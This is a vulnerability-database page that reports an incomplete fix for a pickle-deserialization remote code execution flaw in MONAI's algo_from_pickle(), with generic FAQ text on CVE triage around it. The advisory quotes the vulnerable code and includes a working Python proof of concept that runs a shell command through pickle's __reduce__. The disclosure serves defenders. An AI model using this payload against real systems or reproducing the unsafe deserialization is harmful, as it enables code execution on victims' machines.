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CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

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A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

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A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

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Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

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413,619

Total vulnerabilities in the database

Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch — monai

Deserialization of Untrusted Data

Summary

GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three pickle.loads() calls remain unchanged. The fix was never implemented.

Vulnerable Code

File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)

def algo_from_pickle(pkl_filename: str, ...):
    with open(pkl_filename, &quot;rb&quot;) as f_pi:
        data_bytes = f_pi.read()
    data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here

    # isinstance/key checks happen AFTER deserialization — already too late

    algo_bytes = data.pop(&quot;algo_bytes&quot;)
    ...
    if len(template_paths_candidates) == 0:
        algo = pickle.loads(algo_bytes)      # SINK 2 — line 350
    else:
        for p in template_paths_candidates:
            algo = pickle.loads(algo_bytes)  # SINK 3 — line 356

No Unpickler subclass, no find_class restriction, no allowlist.

Why the Fix is Incomplete

- monai/auto3dseg/utils.py last commit: 2024-07-12 (&quot;drop python 3.8&quot;)
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

PoC

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, (&#039;id &gt; /tmp/rce_proof.txt&#039;,))

# Craft malicious pkl
data = {&quot;algo_bytes&quot;: pickle.dumps(Exploit()), &quot;template_path&quot;: None}
with open(&quot;/tmp/evil.pkl&quot;, &quot;wb&quot;) as f:
    f.write(pickle.dumps(data))

# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open(&quot;/tmp/evil.pkl&quot;, &quot;rb&quot;) as f:
    data = pickle.loads(f.read())        # SINK 1 fires — RCE here
algo = pickle.loads(data[&quot;algo_bytes&quot;])  # SINK 2 fires

print(open(&quot;/tmp/rce_proof.txt&quot;).read())
# uid=1000(user) gid=1000(user) groups=...

Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
    desktop-5657tb1\woong

Impact

Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.

Published: Aug 18, 2026
Updated: Aug 19, 2026
GHSA: GHSA-qxq5-qhx6-94qw
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 7.8
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWEs:

CWE-502

OWASP TOP 10:

A8 - Insecure Deserialization

Affected Software
References

Software	Affected versions
monai	`< 1.6.0`

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.